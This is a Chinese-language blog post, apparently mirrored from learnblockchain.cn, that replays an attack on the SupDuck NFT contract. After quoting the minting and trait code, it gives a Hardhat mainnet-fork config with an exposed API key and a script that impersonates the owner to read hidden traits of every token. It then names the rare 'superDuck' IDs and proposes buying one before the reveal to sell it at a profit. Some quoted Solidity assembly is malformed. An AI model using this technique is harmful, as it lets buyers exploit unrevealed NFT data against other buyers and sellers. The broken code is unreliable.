3

Hack Replay - SupDuck

 3 years ago
source link: https://learnblockchain.cn/article/2939
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client

Hack Replay - SupDuck

最近的NFT异常的火热,上一篇文章中分析了Samczsun提出的HashMasks这一NFT,对EIP721进行了简单的了解。但是在后续的沟通中,发现对于NFT,其意义远远超过了冰冷的EIP721. 同时也发现,自己对于NFT的理解是非常浅薄的。故借此文章将NFT的一些简单的玩法梳理一下。但仍遵循我们的Hack Replay的传统,找到合约漏洞,给出可执行的POC。

Hack Replay - SupDuck

image20210902155435080.png

最近的NFT异常的火热,上一篇文章中分析了Samczsun提出的HashMasks这一NFT,对EIP721进行了简单的了解。但是在后续的沟通中,发现对于NFT,其意义远远超过了冰冷的EIP721. 同时也发现,自己对于NFT的理解是非常浅薄的。故借此文章将NFT的一些简单的玩法梳理一下。但仍遵循我们的Hack Replay的传统,找到合约漏洞,给出可执行的POC。

image20210902160424010.png

作为一个普通用户,参与NFT的一个途径是通过其官网上mint按钮,然后连接钱包,一直下一步即可得到一个NFT。其实质是调用了合约的mint方法,如下:

function mintDuck(uint numberOfTokens) public payable {
    //允许sale
    require(saleIsActive, "SupDucks/mintDuck sale not open");
    //numberOfTokens数量小于10
    require(numberOfTokens <= 10, "SupDucks/mintDuck can only 10 duck at a time");
    //mint后的总数小于最大值
    require(numberOfTokens.add(totalSupply()) <= MAX_DUCKS, "SupDucks/mintDuck exceed max supply of ducks");
    //验证总金额正确与否
    require(duckPrice.mul(numberOfTokens) <= msg.value, "Ether sent is not correct");
    //调用内部函数mintDuck
    _mintDuck(numberOfTokens, msg.sender);
}

如果你读过我的上一篇文章HashMasks,可以发现mintDuck的逻辑跟HashMaskmintNFT一模一样。

function _mintDuck(uint numberOfTokens, address sender) internal {
	//执行for循环,对每一次创建一个种子seed,将seed作为随机量添加入duck的特征值中。然后调用Openzepplin/ERC721中的safeMint方法
	for(uint i = 0; i < numberOfTokens; i++) {
        //get seed
        uint256 seed = uint(keccak256(abi.encodePacked(nonce, block.difficulty, block.timestamp, sender)));
        //get index, 即当前的总数量
        uint mintIndex = totalSupply();
        //给该index添加特征值
        addTraits(seed, mintIndex);
        //调用openzepplin中的safeMint方法
        _safeMint(sender, mintIndex);
    }
}

由于很多的NFT合约都直接继承了Openzepplin的ERC721Upgradeable.sol,故,在samczsun的文章中强调的Unsafe External Call基本都存在。

function _safeMint(address to, uint256 tokenId, bytes memory data) internal virtual {
	//调用内部的_mint函数更改状态
    _mint(to, tokenId);
    //[unsafe external call] from,to,tokenId,data
    require(_checkOnERC721Received(address(0),to,tokenId,data));
}

_mint方法更改状态:

function  _mint(address to, uint256 tokenId) internal virtual {
	//判断to不能是address(0)
    require(address(0) != to, "SupDucks/_mint to is address(0)");
    //tokenId不能已经存在
    require(!_exsits(tokenId), "SupDucks/_mint tokenId already exists");
    //更新owner状态: 写入owners字典,增加owners余额
    _balances[to] = _balances[to].add(1);
    _owners[tokenId] = to;
    //发出Transfer事件
    emit Transfer(address(0), to, tokenId);
}

Unsafe External Call - 调用ERC721对应的onERC721Received方法

function _checkOnERC721Received(address from, address to, uint256 tokenId, bytes memory _data) private returns (bool) {
	//如果to地址是EOA,直接返回true
	//if (msg.sender == tx.origin) // 这里不合适这样判断,因为屏蔽了metaTransaction这种交互方式
	//如果to地址是合约,则进行Unsafe External Call调用, 否则直接返回True
	uint256 extcodesize_;
	assembly{
		extcodesize_ := extcodesize(to)
	}
	bytes4 func_signature = 
	bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))
	if (extcodesize_ > 0) {
		uint res;
        assembly{
            //UNSAFE EXTERANL CALL
            let in_offset := mload(0x40)
            //abi.encodePacked(func_signature,func_signature)
            mstore(in_offset, func_signature)
            mstore(add(in_offset,0x04),func_signature)
            let free_pointer := mload(0x40)
            //update free pointer
            mstore(0x40, add(in_offset,0x24))
            let in_size := 0x24
            let success := call(gas(),to,0,in_offset,in_size,0,0)
            switch success
            case 0 {
                returndatacopy(free_pointer, returndatasize())
                revert(free_pointer, returndatasize())
            }
            case 1 {
				returndatacopy(free_pointer, returndatasize())
				res := shr(224,mload(free_pointer))
            }
		}
		if (res != uint256(uint32(func_signature))) {
			return false;
		}
	}
	return true;
}

漏洞分析_1_

让我们使用Samczsun提出的4步分析法:明确External Call,External Call可被利用,是否满足三种模式,尝试利用。

在mintDuck方法中,我们可以看到External Call为:

address(to).onERC721Received(address,address,uint256,bytes)

该Call也是可以被利用的,因为地址to是我们自己给定的。

是否存在三种模式, 可以看到这里存在这第一种模式:在External Call之前更新数据

uint mintIndex = totalSupply();
function totalSupply() public returns (uint256) {
    return _allTokens.length;
}

在External Call之前,存在着数据更新,即totalSupply的值在更新。那么作为一个Unsafe External Call应该如何去影响totalSupply的值呢?最直接的思路是再去mint一些Duck增加totalSupply.

如上篇文章中所分析的一样,这样写事实上遵循了checks-effects-interacts这一模式,并不能通过重进入mintDucks方法来占的特别大的便宜。除了可以绕过numberOfTokens <= 10这一检查外。

漏洞分析2

如果这道题目的漏洞分析仅停留在分析1的层次,则与我之前写的文章Hashmasks水平保持一致。但实际上NFT的含义绝不仅限于EIP721. 要理解漏洞分析2,我们就需要对NFT的整个玩法有一定的了解。

从漏洞合约的分析中可以看到,一个NFT再Mint出来之后,通常会挂到opensea等NFT交易所上去售卖,如下图所示:

image20210902212307764.png

由于NFT的特殊性,即每一个NFT都是独一无二的。区别每一个NFT都在于其基因,即DNA。再supduck中,基因体现在properties的稀有性,如果一个supduck的基因越稀有,则该NFT就有可能更加有价值。

image20210902212525378.png

而如果一个NFT已经上架了opensea,我们就可以直接通过Opensea找到对应的合约地址:

image20210902213219586.png

从Supduck的合约中看,并不是每一个的duck都是平等的,其存在着superDuck

function addTraits(uint seed, uint tokenId) internal {
	//根据seed对该tokenId的DNA进行赋值,seed是一个随机数
    for (uint8 i=0; i < NUM_TRAITS; i++) {
        nonce++;
        duckTraits[tokenId][i] = determineTrait(i, seed);
    }
    //检查是否满足superduck的条件
    checkForSuper(tokenId, seed);
}
function checkForSuper(uint tokenId, uint seed) internal {
	uint16 roll = uint16(seed % (MAX_DUCKS - totalSupply()));
    for (uint8 i = 0; i < NUM_SUPERS + 1; i++) {
        if (roll < superStock[i]) {
            superStock[i]--;
            if (i > 0) {
                createSuper(tokenId, i);
            }
            return;
        }
        roll -= superStock[i];
    }
    revert("duck pit");
}
function createSuper(uint tokenId, uint superId) internal {
	for (uint8 i=0; i < NUM_TRAITS; i++) {
        duckTraits[tokenId][i] = uint8(99+superId);
    }
}

从合约分析中可以看到,superDuck的特点是其每一个duckTraits都是相同的数值,均为99+superId。

从漏洞分析2中,我们已经知道存在着superDucks,但是要怎么才能知道哪一个才是superDucks呢?我们可以通过合约中的getTraits方法

function getTraits(uint tokenId) public view returns(uint,uint,uint,uint,uint,uint) {
	//要求该tokenId已经存在
    require(_exists(tokenId));
    //要求调用者为管理员,IPFS字段长度大于0说明已经公开
    require(bytes(IPFS_CIDs[tokenId]).length > 0 || _msgSender() == owner());
    return (duckTraits[tokenId][0],duckTraits[tokenId][1],duckTraits[tokenId][2],duckTraits[tokenId][3],duckTraits[tokenId][4],duckTraits[tokenId][5],duckTraits[tokenId][6]);
}

我们想要知道的是哪一个TokenId对应的duck是superDuck,最简单的办法是将每一个已经mint出来的tokenId对应的duck的duckTraits的值全部拿到。这里可以有两个思路:

思路1: 虽然duckTraits是一个内部的属性,但是再以太坊中并不存在真正的不能被外部访问的私有属性的值,可以通过web3直接访问插槽的方式访问

思路2:通过调用getTraits函数。虽然getTraits函数中有要求必须是msg.sender==owner才能访问,但是我可以在自己的本地环境中,利用hardhat的impersonateAccount方式来假装自己是owner实现访问。

确定区块高度

image20210902215602882.png

根据已知信息,确认区块高度为12847922

require("@nomiclabs/hardhat-waffle");
task("accounts", "Prints the list of accounts", async (taskArgs, hre) => {
  const accounts = await hre.ethers.getSigners();

  for (const account of accounts) {
    console.log(account.address);
  }
});
module.exports = {
  solidity: "0.7.0",
  defaultNetwork: 'hardhat',
  networks: {
    hardhat: {
      forking:{
        url: "https://eth-mainnet.alchemyapi.io/v2/7Brn0mxZnlMWbHf0yqAEicmsgKdLJGmA",
        blockNumber:12847922,
      },
      throwOnTransactionFailures: true,
      throwOnCallFailures: true,
      allowUnlimitedContractSize: true,
      gas: 12000000,
      blockGasLimit: 0x1fffffffffffff,
      allowUnlimitedContractSize: true,
      timeout: 1800000
    }
  }
};

得到合约ABI

从Opensea中可以得到合约地址为:https://etherscan.io/address/0x3fe1a4c1481c8351e91b64d5c398b159de07cbc5 这是一个代理合约,但是数据都在这个合约地址上。

其对应的实现合约的地址为:https://etherscan.io/address/0x91879d131091165bb92ba70296fd0f81ff59a3bc#code 

思路2对应的分析

首先我们采取思路2的方式,来获取所有的tokenId的Traits。

const hre = require("hardhat");
const ethers = hre.ethers

async function main() {
  
  const supduck_addr = "0x3fe1a4c1481c8351e91b64d5c398b159de07cbc5";
  await hre.network.provider.send("hardhat_impersonateAccount",["0xafd618064739a2820f5f80c2585563a8af0e6871"])
  const owner = await ethers.getSigner("0xafd618064739a2820f5f80c2585563a8af0e6871")
  console.log(owner.address)

  //get Contract
  
  const ISupDucks = await ethers.getContractAt("ISupDucks","0x3fe1a4c1481c8351e91b64d5c398b159de07cbc5")
  console.log(await ISupDucks.owner())

  //从0到10000逐个loop tokenId得到对应的traits
  for (var i = 0; i < 10000; i++) {
    console.log("the tokenId is %s", i)
    console.log(await ISupDucks.connect(owner).getTraits(i))
  }

}

main()
  .then(() => process.exit(0))
  .catch((error) => {
    console.error(error);
    process.exit(1);
  });

image20210902224334657.png

通过上述的For循环,我们可以找到如下对应的superDucks:

> await ISupDucks.connect(signer).getTraits(8294)
[
  BigNumber { _hex: '0x6b', _isBigNumber: true },
  BigNumber { _hex: '0x6b', _isBigNumber: true },
  BigNumber { _hex: '0x6b', _isBigNumber: true },
  BigNumber { _hex: '0x6b', _isBigNumber: true },
  BigNumber { _hex: '0x6b', _isBigNumber: true },
  BigNumber { _hex: '0x6b', _isBigNumber: true }
]
> await ISupDucks.connect(signer).getTraits(8439)
[
  BigNumber { _hex: '0x69', _isBigNumber: true },
  BigNumber { _hex: '0x69', _isBigNumber: true },
  BigNumber { _hex: '0x69', _isBigNumber: true },
  BigNumber { _hex: '0x69', _isBigNumber: true },
  BigNumber { _hex: '0x69', _isBigNumber: true },
  BigNumber { _hex: '0x69', _isBigNumber: true }
]
>

故,我们的策略如下:

找到编号为8294的supduck,然后买下它,再等待它揭露IPFS地址后,将其卖掉。
pp.png

本文参与登链社区写作激励计划 ,好文好收益,欢迎正在阅读的你也加入。

  • 发表于 11小时前
  • 阅读 ( 29 )
  • 学分 ( 5 )
  • 分类:智能合约

About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK